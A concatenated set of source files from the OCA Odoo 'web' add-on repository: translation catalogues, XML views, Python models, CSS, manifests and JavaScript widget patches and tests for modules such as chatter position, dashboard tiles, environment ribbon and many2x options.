} | 56 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_chatter_position
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 16.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2023-03-13 14:23+0000\n"
"Last-Translator: Rémi <remi@le-filament.com>\n"
"Language-Team: none\n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 4.14.1\n"
#. module: web_chatter_position
#: model:ir.model.fields.selection,name:web_chatter_position.selection__res_users__chatter_position__bottom
msgid "Bottom"
msgstr "En bas"
#. module: web_chatter_position
#: model:ir.model.fields,field_description:web_chatter_position.field_res_users__chatter_position
msgid "Chatter Position"
msgstr "Position du Chatter"
#. module: web_chatter_position
#: model:ir.model.fields.selection,name:web_chatter_position.selection__res_users__chatter_position__auto
msgid "Responsive"
msgstr "Automatique"
#. module: web_chatter_position
#: model:ir.model.fields.selection,name:web_chatter_position.selection__res_users__chatter_position__sided
msgid "Sided"
msgstr "A droite"
#. module: web_chatter_position
#: model:ir.model,name:web_chatter_position.model_res_users
msgid "User"
msgstr "Utilisateur"
| OCA/web/web_chatter_position/i18n/fr.po/0 | {
"file_path": "OCA/web/web_chatter_position/i18n/fr.po",
"repo_id": "OCA",
"token_count": 516
} | 57 |
<?xml version="1.0" encoding="utf-8" ?>
<odoo>
<template id="webclient_bootstrap" inherit_id="web.webclient_bootstrap">
<t t-set="head_web" position="inside">
<script type="text/javascript">
odoo.web_chatter_position = "<t
t-out="request.env.user.chatter_position"
/>";
</script>
</t>
</template>
</odoo>
| OCA/web/web_chatter_position/views/web.xml/0 | {
"file_path": "OCA/web/web_chatter_position/views/web.xml",
"repo_id": "OCA",
"token_count": 209
} | 58 |
# Copyright 2020 Alexandre Díaz <dev@redneboa.es>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
from odoo.http import request
from odoo.addons.base.models.assetsbundle import AssetsBundle, ScssStylesheetAsset
class AssetsBundleCompanyColor(AssetsBundle):
def get_company_color_asset_node(self):
"""Process the user active company scss and returns the node to inject"""
try:
active_company_id = int(
request.httprequest.cookies.get("cids", "").split(",")[0]
)
except Exception:
active_company_id = False
company_id = (
self.env["res.company"].browse(active_company_id) or self.env.company
)
asset = ScssStylesheetAsset(self, url=company_id.scss_get_url())
compiled = self.compile_css(asset.compile, asset.get_source())
return "style", {}, compiled
| OCA/web/web_company_color/models/assetsbundle.py/0 | {
"file_path": "OCA/web/web_company_color/models/assetsbundle.py",
"repo_id": "OCA",
"token_count": 378
} | 59 |
# Copyright (C) 2018 DynApps <http://www.dynapps.be>
# @author Stefan Rijnhart <stefan@opener.amsterdam>
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
"name": "Show confirmation dialogue before copying records",
"version": "16.0.1.0.0",
"author": "Dynapps,Odoo Community Association (OCA)",
"website": "https://github.com/OCA/web",
"license": "AGPL-3",
"category": "Tools",
"depends": [
"web",
],
"assets": {
"web.assets_backend": [
"web_copy_confirm/static/src/js/web_copy_confirm.esm.js",
],
"web.qunit_suite_tests": [
"web_copy_confirm/static/tests/**/*",
],
},
"installable": True,
}
| OCA/web/web_copy_confirm/__manifest__.py/0 | {
"file_path": "OCA/web/web_copy_confirm/__manifest__.py",
"repo_id": "OCA",
"token_count": 332
} | 60 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_dark_mode
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 16.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2023-10-23 18:56+0000\n"
"Last-Translator: Grégory Moka Tourisme <gregory@mokatourisme.fr>\n"
"Language-Team: none\n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 4.17\n"
#. module: web_dark_mode
#. odoo-javascript
#: code:addons/web_dark_mode/static/src/js/switch_item.esm.js:0
#: model:ir.model.fields,field_description:web_dark_mode.field_res_users__dark_mode
#, python-format
msgid "Dark Mode"
msgstr "Mode sombre"
#. module: web_dark_mode
#: model:ir.model.fields,field_description:web_dark_mode.field_res_users__dark_mode_device_dependent
msgid "Device Dependent Dark Mode"
msgstr ""
#. module: web_dark_mode
#: model:ir.model,name:web_dark_mode.model_ir_http
msgid "HTTP Routing"
msgstr ""
#. module: web_dark_mode
#: model:ir.model,name:web_dark_mode.model_res_users
msgid "User"
msgstr "Utilisateur"
| OCA/web/web_dark_mode/i18n/fr.po/0 | {
"file_path": "OCA/web/web_dark_mode/i18n/fr.po",
"repo_id": "OCA",
"token_count": 478
} | 61 |
This module extends the web module to add new dashboard overview system.
By default, the tile displays items count of a given model restricted to a given domain.
Optionally, the tile can display the result of a function on a field.
- Function is one of ``sum``, ``avg``, ``min``, ``max`` or ``median``.
- Field must be integer or float.
Tile can be:
- Displayed only for a user.
- Global for all users.
- Restricted to some groups.
*Note: The tile will be hidden if the current user doesn't have access to the given model.*
| OCA/web/web_dashboard_tile/readme/DESCRIPTION.rst/0 | {
"file_path": "OCA/web/web_dashboard_tile/readme/DESCRIPTION.rst",
"repo_id": "OCA",
"token_count": 144
} | 62 |
<?xml version="1.0" encoding="utf-8" ?>
<odoo>
<record id="action_category_2_tile" model="ir.actions.act_window">
<field name="name">Dashboard Items</field>
<field name="res_model">tile.tile</field>
<field name="view_mode">tree,form</field>
<field name="context">{'search_default_category_id': active_id}</field>
</record>
<record model="ir.ui.view" id="view_tile_category_form">
<field name="model">tile.category</field>
<field name="arch" type="xml">
<form>
<sheet>
<div class="oe_button_box" name="button_box">
<button
class="oe_stat_button"
type="action"
name="%(web_dashboard_tile.action_category_2_tile)d"
attrs="{'invisible': [('tile_qty', '=', 0)]}"
icon="fa-list"
>
<field string="Items" name="tile_qty" widget="statinfo" />
</button>
</div>
<widget
name="web_ribbon"
title="Archived"
bg_color="bg-danger"
attrs="{'invisible': [('active', '=', True)]}"
/>
<div class="oe_title">
<label for="name" class="oe_edit_only" />
<h1><field name="name" required="1" /></h1>
</div>
<group string="Technical Informations">
<field name="active" invisible="1" />
<field name="menu_id" />
<field name="action_id" />
</group>
</sheet>
</form>
</field>
</record>
<record model="ir.ui.view" id="view_tile_category_tree">
<field name="model">tile.category</field>
<field name="arch" type="xml">
<tree decoration-muted="(active == False)">
<field name="sequence" widget="handle" />
<field name="name" />
<field name="tile_qty" />
<field name="active" />
</tree>
</field>
</record>
<record model="ir.actions.act_window" id="action_tile_category">
<field name="name">Dashboard Categories</field>
<field name="res_model">tile.category</field>
<field name="view_mode">tree,kanban,form</field>
<field name="context">{'active_test': False}</field>
</record>
<menuitem
id="menu_tile_category"
parent="menu_tile_configuration"
action="action_tile_category"
sequence="160"
/>
</odoo>
| OCA/web/web_dashboard_tile/views/tile_category.xml/0 | {
"file_path": "OCA/web/web_dashboard_tile/views/tile_category.xml",
"repo_id": "OCA",
"token_count": 1567
} | 63 |
A module that lets the user expand/restore the dialog box size through a button
in the upper right corner (imitating most windows managers).
It also adds draggable support to the dialogs.
| OCA/web/web_dialog_size/readme/DESCRIPTION.rst/0 | {
"file_path": "OCA/web/web_dialog_size/readme/DESCRIPTION.rst",
"repo_id": "OCA",
"token_count": 44
} | 64 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_disable_export_group
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 12.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2023-11-19 19:33+0000\n"
"Last-Translator: Ivorra78 <informatica@totmaterial.es>\n"
"Language-Team: none\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.17\n"
#. module: web_disable_export_group
#: model:ir.model,name:web_disable_export_group.model_base
msgid "Base"
msgstr "Base"
#. module: web_disable_export_group
#: model:res.groups,name:web_disable_export_group.group_export_xlsx_data
msgid "Direct Export (xlsx)"
msgstr "Exportación directa (xlsx)"
#. module: web_disable_export_group
#: model:ir.model,name:web_disable_export_group.model_ir_http
msgid "HTTP Routing"
msgstr "Ruta HTTP"
#, python-format
#~ msgid "widget.is_action_enabled('export_xlsx') and widget.isExportXlsEnable"
#~ msgstr "widget.is_action_enabled('export_xlsx') y widget.isExportXlsEnable"
#, python-format
#~ msgid "Export"
#~ msgstr "Exportar"
#~ msgid "Export Data"
#~ msgstr "Exportar datos"
| OCA/web/web_disable_export_group/i18n/es.po/0 | {
"file_path": "OCA/web/web_disable_export_group/i18n/es.po",
"repo_id": "OCA",
"token_count": 501
} | 65 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_environment_ribbon
#
# Translators:
# Peter Hageman <hageman.p@gmail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2017-07-13 16:06+0000\n"
"PO-Revision-Date: 2021-04-22 15:47+0000\n"
"Last-Translator: Bosd <c5e2fd43-d292-4c90-9d1f-74ff3436329a@anonaddy.me>\n"
"Language-Team: Dutch (Netherlands) (https://www.transifex.com/oca/"
"teams/23907/nl_NL/)\n"
"Language: nl_NL\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.3.2\n"
#. module: web_environment_ribbon
#: model:ir.model,name:web_environment_ribbon.model_web_environment_ribbon_backend
msgid "Web Environment Ribbon Backend"
msgstr ""
#~ msgid "Display Name"
#~ msgstr "Weergavenaam"
#~ msgid "ID"
#~ msgstr "ID"
#~ msgid "Last Modified on"
#~ msgstr "Laatst bijgewerkt op"
| OCA/web/web_environment_ribbon/i18n/nl_NL.po/0 | {
"file_path": "OCA/web/web_environment_ribbon/i18n/nl_NL.po",
"repo_id": "OCA",
"token_count": 441
} | 66 |
/* Copyright 2015 Francesco OpenCode Apruzzese <cescoap@gmail.com>
Copyright 2017 Thomas Binsfeld <thomas.binsfeld@acsone.eu>
Copyright 2021 Andreas Perhab <a.perhab@wtioit.at>
* License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). */
.test-ribbon {
width: 300px;
top: 25px;
left: -100px;
text-align: center;
padding: 10px;
line-height: 20px;
letter-spacing: 1px;
color: #f0f0f0;
-webkit-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
transform: rotate(-45deg);
z-index: 9999;
position: fixed;
box-shadow: 0 0 3px rgba(0, 0, 0, 0.3);
background: rgba(255, 0, 0, 0.6);
pointer-events: none;
}
.test-ribbon b {
font-size: 20px;
}
header:hover ~ .test-ribbon,
nav:hover ~ .test-ribbon {
/* Ease out ribbon when user is using the navigation in Odoo */
opacity: 0;
transition: 0.2s ease;
}
| OCA/web/web_environment_ribbon/static/src/css/ribbon.css/0 | {
"file_path": "OCA/web/web_environment_ribbon/static/src/css/ribbon.css",
"repo_id": "OCA",
"token_count": 411
} | 67 |
/* @odoo-module */
import {
click,
clickSave,
editInput,
getFixture,
patchWithCleanup,
} from "@web/../tests/helpers/utils";
import {
defaultLocalization,
makeFakeLocalizationService,
} from "@web/../tests/helpers/mock_services";
import {makeView, setupViewRegistries} from "@web/../tests/views/helpers";
import {localization} from "@web/core/l10n/localization";
import {registry} from "@web/core/registry";
const {QUnit} = window;
QUnit.module("FieldNumericFormatting", (hooks) => {
let target = {};
let serverData = {};
hooks.beforeEach(() => {
target = getFixture();
serverData = {
models: {
partner: {
fields: {
int_field: {string: "int_field", type: "integer"},
float_field: {string: "Float field", type: "float"},
},
records: [
{id: 1, int_field: 10, float_field: 0.36},
{id: 3, int_field: 8069, float_field: 8069},
],
},
},
};
setupViewRegistries();
});
QUnit.test(
"Float field with enable_formatting option as false",
async function (assert) {
registry.category("services").remove("localization");
registry
.category("services")
.add(
"localization",
makeFakeLocalizationService({thousandsSep: ",", grouping: [3, 0]})
);
await makeView({
type: "form",
serverData,
resModel: "partner",
resId: 1,
arch: `<form><field name="float_field" options="{'enable_formatting': false}"/></form>`,
});
assert.strictEqual(
target.querySelector(".o_field_widget input").value,
"0.36",
"Integer value must not be formatted"
);
await editInput(
target,
".o_field_widget[name=float_field] input",
"123456.789"
);
await clickSave(target);
assert.strictEqual(
target.querySelector(".o_field_widget input").value,
"123456.789",
"Integer value must be not formatted if input type is number."
);
}
);
QUnit.test(
"Float field with enable_formatting option as false in editable list view",
async function (assert) {
await makeView({
serverData,
type: "list",
resModel: "partner",
arch: `
<tree editable="bottom">
<field name="float_field" widget="float" digits="[5,3]" options="{'enable_formatting': false}" />
</tree>`,
});
// Switch to edit mode
await click(
target.querySelector("tr.o_data_row td:not(.o_list_record_selector)")
);
assert.containsOnce(
target,
'div[name="float_field"] input',
"The view should have 1 input for editable float."
);
await editInput(
target,
'div[name="float_field"] input',
"108.2458938598598"
);
assert.strictEqual(
target.querySelector('div[name="float_field"] input').value,
"108.2458938598598",
"The value should not be formatted on blur."
);
await editInput(
target,
'div[name="float_field"] input',
"18.8958938598598"
);
await click(target.querySelector(".o_list_button_save"));
assert.strictEqual(
target.querySelector(".o_field_widget").textContent,
"18.8958938598598",
"The new value should not be rounded as well."
);
}
);
QUnit.test(
"IntegerField with enable_formatting option as false",
async function (assert) {
patchWithCleanup(localization, {...defaultLocalization, grouping: [3, 0]});
await makeView({
type: "form",
serverData,
resModel: "partner",
resId: 3,
arch: `<form><field name="int_field" options="{'enable_formatting': false}"/></form>`,
});
assert.strictEqual(
target.querySelector(".o_field_widget input").value,
"8069",
"Integer value must not be formatted"
);
await editInput(
target,
".o_field_widget[name=int_field] input",
"1234567890"
);
await clickSave(target);
assert.strictEqual(
target.querySelector(".o_field_widget input").value,
"1234567890",
"Integer value must be not formatted if input type is number."
);
}
);
});
| OCA/web/web_field_numeric_formatting/static/tests/field_tests.esm.js/0 | {
"file_path": "OCA/web/web_field_numeric_formatting/static/tests/field_tests.esm.js",
"repo_id": "OCA",
"token_count": 2821
} | 68 |
<?xml version="1.0" encoding="UTF-8" ?>
<templates xml:space="preserve">
<t t-inherit="web.ListView.Buttons" t-inherit-mode="extension" owl="1">
<xpath expr="//div[hasclass('o_list_buttons')]" position="inside">
<t t-if="model.root.isGrouped">
<button
type="button"
class="btn btn-secondary fa fa-expand oe_group_by_expand"
data-tooltip="Expand"
aria-label="Expand"
t-on-click="expandAllGroups"
/>
<button
type="button"
class="btn btn-secondary fa fa-compress oe_group_by_collapse"
data-tooltip="Compress"
aria-label="Compress"
t-on-click="collapseAllGroups"
/>
</t>
</xpath>
</t>
</templates>
| OCA/web/web_group_expand/static/src/xml/list_controller.xml/0 | {
"file_path": "OCA/web/web_group_expand/static/src/xml/list_controller.xml",
"repo_id": "OCA",
"token_count": 537
} | 69 |
This allows to hide field by pressing the "p" key on the keyboard
| OCA/web/web_hide_field_with_key/readme/DESCRIPTION.rst/0 | {
"file_path": "OCA/web/web_hide_field_with_key/readme/DESCRIPTION.rst",
"repo_id": "OCA",
"token_count": 16
} | 70 |
To use this functionality you need to return following action with list of actions to execute:
.. code-block:: python
def foo(self):
self.ensure_one()
return {
'type': 'ir.actions.act_multi',
'actions': [
{'type': 'ir.actions.act_window_close'},
{'type': 'ir.actions.client', 'tag': 'reload'},
]
}
| OCA/web/web_ir_actions_act_multi/readme/USAGE.rst/0 | {
"file_path": "OCA/web/web_ir_actions_act_multi/readme/USAGE.rst",
"repo_id": "OCA",
"token_count": 194
} | 71 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_m2x_options
#
# Translators:
# OCA Transbot <transbot@odoo-community.org>, 2017
# Rodrigo de Almeida Sottomaior Macedo <rmsolucoeseminformatic4@gmail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-01-03 03:50+0000\n"
"PO-Revision-Date: 2019-08-26 16:01+0000\n"
"Last-Translator: Rodrigo Macedo <rmsolucoeseminformatic4@gmail.com>\n"
"Language-Team: Portuguese (Brazil) (https://www.transifex.com/oca/"
"teams/23907/pt_BR/)\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.8\n"
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid ", are you sure it does not exist yet?"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid "Create"
msgstr "Criar"
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/relational_utils.esm.js:0
#, python-format
msgid "Create \"%s\""
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid "Create and Edit"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/relational_utils.esm.js:0
#, python-format
msgid "Create and edit..."
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid "Discard"
msgstr ""
#. module: web_m2x_options
#: model:ir.model,name:web_m2x_options.model_ir_http
msgid "HTTP Routing"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/form.esm.js:0
#, python-format
msgid "New: %s"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/relational_utils.esm.js:0
#, python-format
msgid "No records"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/form.esm.js:0
#, python-format
msgid "Open: "
msgstr "Abrir: "
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/relational_utils.esm.js:0
#, python-format
msgid "Search More..."
msgstr "Buscar mais..."
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/relational_utils.esm.js:0
#, python-format
msgid "Start typing..."
msgstr ""
#. module: web_m2x_options
#: model:ir.model,name:web_m2x_options.model_ir_config_parameter
msgid "System Parameter"
msgstr "Parâmetros do Sistema"
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid "You are creating a new"
msgstr ""
#. module: web_m2x_options
#. odoo-javascript
#: code:addons/web_m2x_options/static/src/components/base.xml:0
#, python-format
msgid "as a new"
msgstr ""
#, python-format
#~ msgid "Cancel"
#~ msgstr "Cancelar"
#, python-format
#~ msgid "Create \"<strong>%s</strong>\""
#~ msgstr "Criar \"<strong>%s</strong>\""
#, python-format
#~ msgid "Create a %s"
#~ msgstr "Criar um %s"
#, python-format
#~ msgid "Create and Edit..."
#~ msgstr "Criar e editar.."
#, python-format
#~ msgid "Create and edit"
#~ msgstr "Criar e editar"
#, python-format
#~ msgid "No results to show..."
#~ msgstr "sem resultado para mostrar..."
#, python-format
#~ msgid "You are creating a new %s, are you sure it does not exist yet?"
#~ msgstr ""
#~ "Você está criando um novo %s, você tem certeza de que ainda não existe?"
#~ msgid "!(widget.nodeOptions.no_open || widget.nodeOptions.no_open_edit)"
#~ msgstr "!(widget.options.no_open || widget.nodeOptions.no_open_edit)"
| OCA/web/web_m2x_options/i18n/pt_BR.po/0 | {
"file_path": "OCA/web/web_m2x_options/i18n/pt_BR.po",
"repo_id": "OCA",
"token_count": 1652
} | 72 |
/** @odoo-module **/
import {
Many2ManyTagsField,
Many2ManyTagsFieldColorEditable,
} from "@web/views/fields/many2many_tags/many2many_tags_field";
import {Dialog} from "@web/core/dialog/dialog";
import {FormController} from "@web/views/form/form_controller";
import {FormViewDialog} from "@web/views/view_dialogs/form_view_dialog";
import {Many2OneAvatarField} from "@web/views/fields/many2one_avatar/many2one_avatar_field";
import {Many2OneBarcodeField} from "@web/views/fields/many2one_barcode/many2one_barcode_field";
import {Many2OneField} from "@web/views/fields/many2one/many2one_field";
import {ReferenceField} from "@web/views/fields/reference/reference_field";
import {X2ManyField} from "@web/views/fields/x2many/x2many_field";
import {isX2Many} from "@web/views/utils";
import {is_option_set} from "@web_m2x_options/components/relational_utils.esm";
import {patch} from "@web/core/utils/patch";
import {sprintf} from "@web/core/utils/strings";
import {useService} from "@web/core/utils/hooks";
const {Component} = owl;
/**
* Patch Many2ManyTagsField
**/
patch(Many2ManyTagsField.prototype, "web_m2x_options.Many2ManyTagsField", {
setup() {
this._super(...arguments);
this.actionService = useService("action");
},
/**
* @override
*/
getTagProps(record) {
const props = this._super(...arguments);
props.onClick = (ev) => this.onMany2ManyBadgeClick(ev, record);
return props;
},
async onMany2ManyBadgeClick(event, record) {
var self = this;
if (self.props.open) {
var context = self.context;
var id = record.data.id;
if (self.props.readonly) {
event.preventDefault();
event.stopPropagation();
const action = await self.orm.call(
self.props.relation,
"get_formview_action",
[[id]],
{context: context}
);
self.actionService.doAction(action);
} else {
const view_id = await self.orm.call(
self.props.relation,
"get_formview_id",
[[id]],
{context: context}
);
const write_access = await self.orm.call(
self.props.relation,
"check_access_rights",
[],
{operation: "write", raise_exception: false}
);
var can_write = self.props.canWrite;
self.dialog.add(FormViewDialog, {
resModel: self.props.relation,
resId: id,
context: context,
title: self.env._t("Open: ") + self.string,
viewId: view_id,
mode: !can_write || !write_access ? "readonly" : "edit",
onRecordSaved: () => self.props.value.model.load(),
});
}
}
},
});
Many2ManyTagsField.props = {
...Many2ManyTagsField.props,
open: {type: Boolean, optional: true},
canWrite: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
const Many2ManyTagsFieldExtractProps = Many2ManyTagsField.extractProps;
Many2ManyTagsField.extractProps = ({attrs, field}) => {
const canOpen = Boolean(attrs.options.open);
const canWrite = attrs.can_write && Boolean(JSON.parse(attrs.can_write));
return Object.assign(Many2ManyTagsFieldExtractProps({attrs, field}), {
open: canOpen,
canWrite: canWrite,
nodeOptions: attrs.options,
});
};
/**
* Many2ManyTagsFieldColorEditable
**/
patch(
Many2ManyTagsFieldColorEditable.prototype,
"web_m2x_options.Many2ManyTagsFieldColorEditable",
{
async onBadgeClick(event, record) {
if (this.props.canEditColor && !this.props.open) {
this._super(...arguments);
}
if (this.props.open) {
Many2ManyTagsField.prototype.onMany2ManyBadgeClick.bind(this)(
event,
record
);
}
},
}
);
Many2ManyTagsFieldColorEditable.props = {
...Many2ManyTagsFieldColorEditable.props,
open: {type: Boolean, optional: true},
canWrite: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
/**
* CreateConfirmationDialog
* New customized component for Many2One Field
**/
class CreateConfirmationDialog extends Component {
get title() {
return sprintf(this.env._t("New: %s"), this.props.name);
}
async onCreate() {
await this.props.create();
this.props.close();
}
async onCreateEdit() {
await this.props.createEdit();
this.props.close();
}
}
CreateConfirmationDialog.components = {Dialog};
CreateConfirmationDialog.template =
"web_m2x_options.Many2OneField.CreateConfirmationDialog";
/**
* Many2OneField
**/
patch(Many2OneField.prototype, "web_m2x_options.Many2OneField", {
setup() {
this._super(...arguments);
this.ir_options = Component.env.session.web_m2x_options;
},
/**
* @override
*/
get Many2XAutocompleteProps() {
const props = this._super(...arguments);
return {
...props,
searchLimit: this.props.searchLimit,
searchMore: this.props.searchMore,
canCreate: this.props.canCreate,
nodeOptions: this.props.nodeOptions,
};
},
async openConfirmationDialog(request) {
var m2o_dialog_opt =
is_option_set(this.props.nodeOptions.m2o_dialog) ||
(_.isUndefined(this.props.nodeOptions.m2o_dialog) &&
is_option_set(this.ir_options["web_m2x_options.m2o_dialog"])) ||
(_.isUndefined(this.props.nodeOptions.m2o_dialog) &&
_.isUndefined(this.ir_options["web_m2x_options.m2o_dialog"]));
if (this.props.canCreate && this.state.isFloating && m2o_dialog_opt) {
return new Promise((resolve, reject) => {
this.addDialog(CreateConfirmationDialog, {
value: request,
name: this.props.string,
create: async () => {
try {
await this.quickCreate(request);
resolve();
} catch (e) {
reject(e);
}
},
createEdit: async () => {
try {
await this.quickCreate(request);
await this.props.record.model.load();
this.openMany2X({
resId: this.props.value[0],
context: this.user_context,
});
resolve();
} catch (e) {
reject(e);
}
},
});
});
}
},
});
const Many2OneFieldExtractProps = Many2OneField.extractProps;
Many2OneField.extractProps = ({attrs, field}) => {
return Object.assign(Many2OneFieldExtractProps({attrs, field}), {
searchLimit: attrs.options.limit,
searchMore: attrs.options.search_more,
nodeOptions: attrs.options,
});
};
Many2OneField.props = {
...Many2OneField.props,
searchMore: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
/**
* FIXME: find better way to extend props in Many2OneField
* Override ReferenceField
* Since extracted/added props: nodeOptions and searchMore into Many2OneField props
* and this component inherited props from Many2OneField
* So, must override props here to avoid constraint validateProps (props schema) in owl core
*/
ReferenceField.props = {
...ReferenceField.props,
searchMore: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
/**
* FIXME: find better way to extend props in Many2OneField
* Override Many2OneBarcodeField
* Since extracted/added props: nodeOptions and searchMore into Many2OneField props
* and this component inherited props from Many2OneField
* So, must override props here to avoid constraint validateProps (props schema) in owl core
*/
Many2OneBarcodeField.props = {
...Many2OneBarcodeField.props,
searchMore: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
/**
* FIXME: find better way to extend props in Many2OneField
* Override Many2OneAvatarField
* Since extracted/added props: nodeOptions and searchMore into Many2OneField props
* and this component inherited props from Many2OneField
* So, must override props here to avoid constraint validateProps (props schema) in owl core
*/
Many2OneAvatarField.props = {
...Many2OneAvatarField.props,
searchMore: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
/**
* FIXME: find better way to extend props in Many2OneField
* Override mailing_m2o_filter
* Since extracted/added props: nodeOptions and searchMore into Many2OneField props
* and this component inherited props from Many2OneField
* So, must override props here to avoid constraint validateProps (props schema) in owl core
* This component is in module mass_mailing as optional module,
* So need to import dynamic way
*/
try {
(async () => {
// Make sure component mailing_m2o_filter in mass mailing module loaded
const installed_mass_mailing = await odoo.ready(
"@mass_mailing/js/mailing_m2o_filter"
);
if (installed_mass_mailing) {
const {FieldMany2OneMailingFilter} = await odoo.runtimeImport(
"@mass_mailing/js/mailing_m2o_filter"
);
FieldMany2OneMailingFilter.props = {
...FieldMany2OneMailingFilter.props,
searchMore: {type: Boolean, optional: true},
nodeOptions: {type: Object, optional: true},
};
}
})();
} catch {
console.log(
"Ignore overriding props of component mailing_m2o_filter since the module is not installed"
);
}
/**
* X2ManyField
**/
patch(X2ManyField.prototype, "web_m2x_options.X2ManyField", {
/**
* @override
*/
async openRecord(record) {
var self = this;
var open = this.props.open;
if (open && self.props.readonly) {
var res_id = record.data.id;
const action = await self.env.model.orm.call(
self.props.value.resModel,
"get_formview_action",
[[res_id]]
);
return self.env.model.actionService.doAction(action);
}
return this._super.apply(this, arguments);
},
});
const X2ManyFieldExtractProps = X2ManyField.extractProps;
X2ManyField.extractProps = ({attrs}) => {
const canOpen = Boolean(attrs.options.open);
return Object.assign(X2ManyFieldExtractProps({attrs}), {
open: canOpen,
});
};
X2ManyField.props = {
...X2ManyField.props,
open: {type: Boolean, optional: true},
};
/**
* FormController
**/
patch(FormController.prototype, "web_m2x_options.FormController", {
/**
* @override
*/
setup() {
var self = this;
this._super(...arguments);
/** Due to problem of 2 onWillStart in native web core
* (see: https://github.com/odoo/odoo/blob/16.0/addons/web/static/src/views/model.js#L142)
* do the trick to override beforeLoadResolver here to customize viewLimit
*/
this.superBeforeLoadResolver = this.beforeLoadResolver;
this.beforeLoadResolver = async () => {
await self._setSubViewLimit();
self.superBeforeLoadResolver();
};
},
/**
* @override
* add more method to add subview limit on formview
*/
async _setSubViewLimit() {
const ir_options = Component.env.session.web_m2x_options;
const activeFields = this.archInfo.activeFields,
fields = this.props.fields,
isSmall = this.user;
var limit = ir_options["web_m2x_options.field_limit_entries"];
if (!_.isUndefined(limit)) {
limit = parseInt(limit, 10);
}
for (const fieldName in activeFields) {
const field = fields[fieldName];
if (!isX2Many(field)) {
// What follows only concerns x2many fields
continue;
}
const fieldInfo = activeFields[fieldName];
if (fieldInfo.modifiers.invisible === true) {
// No need to fetch the sub view if the field is always invisible
continue;
}
if (!fieldInfo.FieldComponent.useSubView) {
// The FieldComponent used to render the field doesn't need a sub view
continue;
}
let viewType = fieldInfo.viewMode || "list,kanban";
viewType = viewType.replace("tree", "list");
if (viewType.includes(",")) {
viewType = isSmall ? "kanban" : "list";
}
fieldInfo.viewMode = viewType;
if (fieldInfo.views[viewType] && limit) {
fieldInfo.views[viewType].limit = limit;
}
}
},
});
| OCA/web/web_m2x_options/static/src/components/form.esm.js/0 | {
"file_path": "OCA/web/web_m2x_options/static/src/components/form.esm.js",
"repo_id": "OCA",
"token_count": 6283
} | 73 |
# Copyright 2016 ACSONE SA/NV
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
from odoo import _, api, exceptions, fields, models
from odoo.addons.bus.models.bus import channel_with_db, json_dump
DEFAULT_MESSAGE = "Default message"
SUCCESS = "success"
DANGER = "danger"
WARNING = "warning"
INFO = "info"
DEFAULT = "default"
class ResUsers(models.Model):
_inherit = "res.users"
@api.depends("create_date")
def _compute_channel_names(self):
